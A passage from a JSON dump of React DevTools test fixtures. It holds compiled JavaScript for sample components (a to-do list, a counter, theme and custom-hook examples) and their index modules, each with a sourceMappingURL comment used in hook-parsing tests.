handleDelete = (0, React.useCallback)(() => {\n    removeItem(item);\n  }, [item, removeItem]);\n  const handleToggle = (0, React.useCallback)(() => {\n    toggleItem(item);\n  }, [item, toggleItem]);\n  return /*#__PURE__*/React.createElement(\"li\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 23,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React.createElement(\"button\", {\n    onClick: handleDelete,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 24,\n      columnNumber: 7\n    }\n  }, \"Delete\"), /*#__PURE__*/React.createElement(\"label\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, /*#__PURE__*/React.createElement(\"input\", {\n    checked: item.isComplete,\n    onChange: handleToggle,\n    type: \"checkbox\",\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 26,\n      columnNumber: 9\n    }\n  }), ' ', item.text));\n}\n\nfunction List(props) {\n  const [newItemText, setNewItemText] = (0, React.useState)('');\n  const [items, setItems] = (0, React.useState)([{\n    id: 1,\n    isComplete: true,\n    text: 'First'\n  }, {\n    id: 2,\n    isComplete: true,\n    text: 'Second'\n  }, {\n    id: 3,\n    isComplete: false,\n    text: 'Third'\n  }]);\n  const [uid, setUID] = (0, React.useState)(4);\n  const handleClick = (0, React.useCallback)(() => {\n    if (newItemText !== '') {\n      setItems([...items, {\n        id: uid,\n        isComplete: false,\n        text: newItemText\n      }]);\n      setUID(uid + 1);\n      setNewItemText('');\n    }\n  }, [newItemText, items, uid]);\n  const handleKeyPress = (0, React.useCallback)(event => {\n    if (event.key === 'Enter') {\n      handleClick();\n    }\n  }, [handleClick]);\n  const handleChange = (0, React.useCallback)(event => {\n    setNewItemText(event.currentTarget.value);\n  }, [setNewItemText]);\n  const removeItem = (0, React.useCallback)(itemToRemove => setItems(items.filter(item => item !== itemToRemove)), [items]);\n  const toggleItem = (0, React.useCallback)(itemToToggle => {\n    // Dont use indexOf()\n    // because editing props in DevTools creates a new Object.\n    const index = items.findIndex(item => item.id === itemToToggle.id);\n    setItems(items.slice(0, index).concat({ ...itemToToggle,\n      isComplete: !itemToToggle.isComplete\n    }).concat(items.slice(index + 1)));\n  }, [items]);\n  return /*#__PURE__*/React.createElement(React.Fragment, {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 102,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React.createElement(\"h1\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 103,\n      columnNumber: 7\n    }\n  }, \"List\"), /*#__PURE__*/React.createElement(\"input\", {\n    type: \"text\",\n    placeholder: \"New list item...\",\n    value: newItemText,\n    onChange: handleChange,\n    onKeyPress: handleKeyPress,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 104,\n      columnNumber: 7\n    }\n  }), /*#__PURE__*/React.createElement(\"button\", {\n    disabled: newItemText === '',\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 111,\n      columnNumber: 7\n    }\n  }, /*#__PURE__*/React.createElement(\"span\", {\n    role: \"img\",\n    \"aria-label\": \"Add item\",\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 112,\n      columnNumber: 9\n    }\n  }, \"Add\")), /*#__PURE__*/React.createElement(\"ul\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 116,\n      columnNumber: 7\n    }\n  }, items.map(item => /*#__PURE__*/React.createElement(ListItem, {\n    key: item.id,\n    item: item,\n    removeItem: removeItem,\n    toggleItem: toggleItem,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 118,\n      columnNumber: 11\n    }\n  }))));\n}\n//# sourceMappingURL=ToDoList.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/react-sources-extended/index-map/ComponentUsingHooksIndirectly.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const countState = (0, _react.useState)(0);\n  const count = countState[0];\n  const setCount = countState[1];\n  const darkMode = useIsDarkMode();\n  const [isDarkMode] = darkMode;\n  (0, _react.useEffect)(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/_react.default.createElement(_react.default.Fragment, null, /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 29,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 30,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const darkModeState = (0, _react.useState)(false);\n  const [isDarkMode] = darkModeState;\n  (0, _react.useEffect)(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return [isDarkMode, () => {}];\n}\n//# sourceMappingURL=ComponentUsingHooksIndirectly.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/react-sources-extended/index-map/ComponentWithCustomHook.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  const isDarkMode = useIsDarkMode();\n  const {\n    foo\n  } = useFoo();\n  (0, _react.useEffect)(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/_react.default.createElement(_react.default.Fragment, null, /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 26,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 27,\n      columnNumber: 7\n    }\n  }, \"Foo: \", foo), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const [isDarkMode] = (0, _react.useState)(false);\n  (0, _react.useEffect)(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return isDarkMode;\n}\n\nfunction useFoo() {\n  (0, _react.useDebugValue)('foo');\n  return {\n    foo: true\n  };\n}\n//# sourceMappingURL=ComponentWithCustomHook.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/react-sources-extended/index-map/ComponentWithExternalCustomHooks.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireDefault(require(\"react\"));\n\nvar _useTheme = _interopRequireDefault(require(\"./useTheme\"));\n\nvar _jsxFileName = \"\";\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nfunction Component() {\n  const theme = (0, _useTheme.default)();\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 16,\n      columnNumber: 10\n    }\n  }, \"theme: \", theme);\n}\n//# sourceMappingURL=ComponentWithExternalCustomHooks.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/react-sources-extended/index-map/ComponentWithMultipleHooksPerLine.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = require(\"react\");\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst A = /*#__PURE__*/(0, _react.createContext)(1);\nconst B = /*#__PURE__*/(0, _react.createContext)(2);\n\nfunction Component() {\n  const a = (0, _react.useContext)(A);\n  const b = (0, _react.useContext)(B); // prettier-ignore\n\n  const c = (0, _react.useContext)(A),\n        d = (0, _react.useContext)(B); // eslint-disable-line one-var\n\n  return a + b + c + d;\n}\n//# sourceMappingURL=ComponentWithMultipleHooksPerLine.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/react-sources-extended/index-map/ComponentWithNestedHooks.js",
    "content": "\"use strict\";\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst {\n  useMemo,\n  useState\n} = require('react');\n\nfunction Component(props) {\n  const InnerComponent = useMemo(() => () => {\n    const [state] = useState(0);\n    return state;\n  });\n  props.callback(InnerComponent);\n  return null;\n}\n\nmodule.exports = {\n  Component\n};\n//# sourceMappingURL=ComponentWithNestedHooks.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/react-sources-extended/index-map/ContainingStringSourceMappingURL.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\n// ?sourceMappingURL=([^\\s'\"]+)/gm\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 18,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/_react.default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 19,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 20,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n//# sourceMappingURL=ContainingStringSourceMappingURL.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/react-sources-extended/index-map/Example.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 16,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/_react.default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 17,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 18,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n//# sourceMappingURL=Example.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/react-sources-extended/index-map/InlineRequire.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nfunction Component() {\n  const [count] = require('react').useState(0);\n\n  return count;\n}\n//# sourceMappingURL=InlineRequire.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/react-sources-extended/index-map/ToDoList.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.ListItem = ListItem;\nexports.List = List;\n\nvar React = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction ListItem({\n  item,\n  removeItem,\n  toggleItem\n}) {\n  const handleDelete = (0, React.useCallback)(() => {\n    removeItem(item);\n  }, [item, removeItem]);\n  const handleToggle = (0, React.useCallback)(() => {\n    toggleItem(item);\n  }, [item, toggleItem]);\n  return /*#__PURE__*/React.createElement(\"li\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 23,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React.createElement(\"button\", {\n    onClick: handleDelete,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 24,\n      columnNumber: 7\n    }\n  }, \"Delete\"), /*#__PURE__*/React.createElement(\"label\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, /*#__PURE__*/React.createElement(\"input\", {\n    checked: item.isComplete,\n    onChange: handleToggle,\n    type: \"checkbox\",\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 26,\n      columnNumber: 9\n    }\n  }), ' ', item.text));\n}\n\nfunction List(props) {\n  const [newItemText, setNewItemText] = (0, React.useState)('');\n  const [items, setItems] = (0, React.useState)([{\n    id: 1,\n    isComplete: true,\n    text: 'First'\n  }, {\n    id: 2,\n    isComplete: true,\n    text: 'Second'\n  }, {\n    id: 3,\n    isComplete: false,\n    text: 'Third'\n  }]);\n  const [uid, setUID] = (0, React.useState)(4);\n  const handleClick = (0, React.useCallback)(() => {\n    if (newItemText !== '') {\n      setItems([...items, {\n        id: uid,\n        isComplete: false,\n        text: newItemText\n      }]);\n      setUID(uid + 1);\n      setNewItemText('');\n    }\n  }, [newItemText, items, uid]);\n  const handleKeyPress = (0, React.useCallback)(event => {\n    if (event.key === 'Enter') {\n      handleClick();\n    }\n  }, [handleClick]);\n  const handleChange = (0, React.useCallback)(event => {\n    setNewItemText(event.currentTarget.value);\n  }, [setNewItemText]);\n  const removeItem = (0, React.useCallback)(itemToRemove => setItems(items.filter(item => item !== itemToRemove)), [items]);\n  const toggleItem = (0, React.useCallback)(itemToToggle => {\n    // Dont use indexOf()\n    // because editing props in DevTools creates a new Object.\n    const index = items.findIndex(item => item.id === itemToToggle.id);\n    setItems(items.slice(0, index).concat({ ...itemToToggle,\n      isComplete: !itemToToggle.isComplete\n    }).concat(items.slice(index + 1)));\n  }, [items]);\n  return /*#__PURE__*/React.createElement(React.Fragment, {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 102,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React.createElement(\"h1\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 103,\n      columnNumber: 7\n    }\n  }, \"List\"), /*#__PURE__*/React.createElement(\"input\", {\n    type: \"text\",\n    placeholder: \"New list item...\",\n    value: newItemText,\n    onChange: handleChange,\n    onKeyPress: handleKeyPress,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 104,\n      columnNumber: 7\n    }\n  }), /*#__PURE__*/React.createElement(\"button\", {\n    disabled: newItemText === '',\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 111,\n      columnNumber: 7\n    }\n  }, /*#__PURE__*/React.createElement(\"span\", {\n    role: \"img\",\n    \"aria-label\": \"Add item\",\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 112,\n      columnNumber: 9\n    }\n  }, \"Add\")), /*#__PURE__*/React.createElement(\"ul\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 116,\n      columnNumber: 7\n    }\n  }, items.map(item => /*#__PURE__*/React.createElement(ListItem, {\n    key: item.id,\n    item: item,\n    removeItem: removeItem,\n    toggleItem: toggleItem,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 118,\n      columnNumber: 11\n    }\n  }))));\n}\n//# sourceMappingURL=ToDoList.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/react-sources-extended/index-map/index.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nObject.defineProperty(exports, \"ComponentUsingHooksIndirectly\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentUsingHooksIndirectly.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithCustomHook\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithCustomHook.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithExternalCustomHooks\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithExternalCustomHooks.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithMultipleHooksPerLine\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithMultipleHooksPerLine.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithNestedHooks\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithNestedHooks.Component;\n  }\n});\nObject.defineProperty(exports, \"ContainingStringSourceMappingURL\", {\n  enumerable: true,\n  get: function () {\n    return _ContainingStringSourceMappingURL.Component;\n  }\n});\nObject.defineProperty(exports, \"Example\", {\n  enumerable: true,\n  get: function () {\n    return _Example.Component;\n  }\n});\nObject.defineProperty(exports, \"InlineRequire\", {\n  enumerable: true,\n  get: function () {\n    return _InlineRequire.Component;\n  }\n});\nObject.defineProperty(exports, \"useTheme\", {\n  enumerable: true,\n  get: function () {\n    return _useTheme.default;\n  }\n});\nexports.ToDoList = void 0;\n\nvar _ComponentUsingHooksIndirectly = require(\"./ComponentUsingHooksIndirectly\");\n\nvar _ComponentWithCustomHook = require(\"./ComponentWithCustomHook\");\n\nvar _ComponentWithExternalCustomHooks = require(\"./ComponentWithExternalCustomHooks\");\n\nvar _ComponentWithMultipleHooksPerLine = require(\"./ComponentWithMultipleHooksPerLine\");\n\nvar _ComponentWithNestedHooks = require(\"./ComponentWithNestedHooks\");\n\nvar _ContainingStringSourceMappingURL = require(\"./ContainingStringSourceMappingURL\");\n\nvar _Example = require(\"./Example\");\n\nvar _InlineRequire = require(\"./InlineRequire\");\n\nvar ToDoList = _interopRequireWildcard(require(\"./ToDoList\"));\n\nexports.ToDoList = ToDoList;\n\nvar _useTheme = _interopRequireDefault(require(\"./useTheme\"));\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n//# sourceMappingURL=index.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/react-sources-extended/index-map/useTheme.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = useTheme;\nexports.ThemeContext = void 0;\n\nvar _react = require(\"react\");\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst ThemeContext = /*#__PURE__*/(0, _react.createContext)('bright');\nexports.ThemeContext = ThemeContext;\n\nfunction useTheme() {\n  const theme = (0, _react.useContext)(ThemeContext);\n  (0, _react.useDebugValue)(theme);\n  return theme;\n}\n//# sourceMappingURL=useTheme.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/react-sources-extended/index.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nObject.defineProperty(exports, \"ComponentUsingHooksIndirectly\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentUsingHooksIndirectly.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithCustomHook\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithCustomHook.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithExternalCustomHooks\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithExternalCustomHooks.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithMultipleHooksPerLine\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithMultipleHooksPerLine.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithNestedHooks\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithNestedHooks.Component;\n  }\n});\nObject.defineProperty(exports, \"ContainingStringSourceMappingURL\", {\n  enumerable: true,\n  get: function () {\n    return _ContainingStringSourceMappingURL.Component;\n  }\n});\nObject.defineProperty(exports, \"Example\", {\n  enumerable: true,\n  get: function () {\n    return _Example.Component;\n  }\n});\nObject.defineProperty(exports, \"InlineRequire\", {\n  enumerable: true,\n  get: function () {\n    return _InlineRequire.Component;\n  }\n});\nObject.defineProperty(exports, \"useTheme\", {\n  enumerable: true,\n  get: function () {\n    return _useTheme.default;\n  }\n});\nexports.ToDoList = void 0;\n\nvar _ComponentUsingHooksIndirectly = require(\"./ComponentUsingHooksIndirectly\");\n\nvar _ComponentWithCustomHook = require(\"./ComponentWithCustomHook\");\n\nvar _ComponentWithExternalCustomHooks = require(\"./ComponentWithExternalCustomHooks\");\n\nvar _ComponentWithMultipleHooksPerLine = require(\"./ComponentWithMultipleHooksPerLine\");\n\nvar _ComponentWithNestedHooks = require(\"./ComponentWithNestedHooks\");\n\nvar _ContainingStringSourceMappingURL = require(\"./ContainingStringSourceMappingURL\");\n\nvar _Example = require(\"./Example\");\n\nvar _InlineRequire = require(\"./InlineRequire\");\n\nvar ToDoList = _interopRequireWildcard(require(\"./ToDoList\"));\n\nexports.ToDoList = ToDoList;\n\nvar _useTheme = _interopRequireDefault(require(\"./useTheme\"));\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n//# sourceMappingURL=index.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/react-sources-extended/useTheme.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = useTheme;\nexports.ThemeContext = void 0;\n\nvar _react = require(\"react\");\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst ThemeContext = /*#__PURE__*/(0, _react.createContext)('bright');\nexports.ThemeContext = ThemeContext;\n\nfunction useTheme() {\n  const theme = (0, _react.useContext)(ThemeContext);\n  (0, _react.useDebugValue)(theme);\n  return theme;\n}\n//# sourceMappingURL=useTheme.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/useTheme.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = useTheme;\nexports.ThemeContext = void 0;\n\nvar _react = require(\"react\");\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst ThemeContext = /*#__PURE__*/(0, _react.createContext)('bright');\nexports.ThemeContext = ThemeContext;\n\nfunction useTheme() {\n  const theme = (0, _react.useContext)(ThemeContext);\n  (0, _react.useDebugValue)(theme);\n  return theme;\n}\n//# sourceMappingURL=useTheme.js.map?foo=bar&param=some_value"
  },
  {
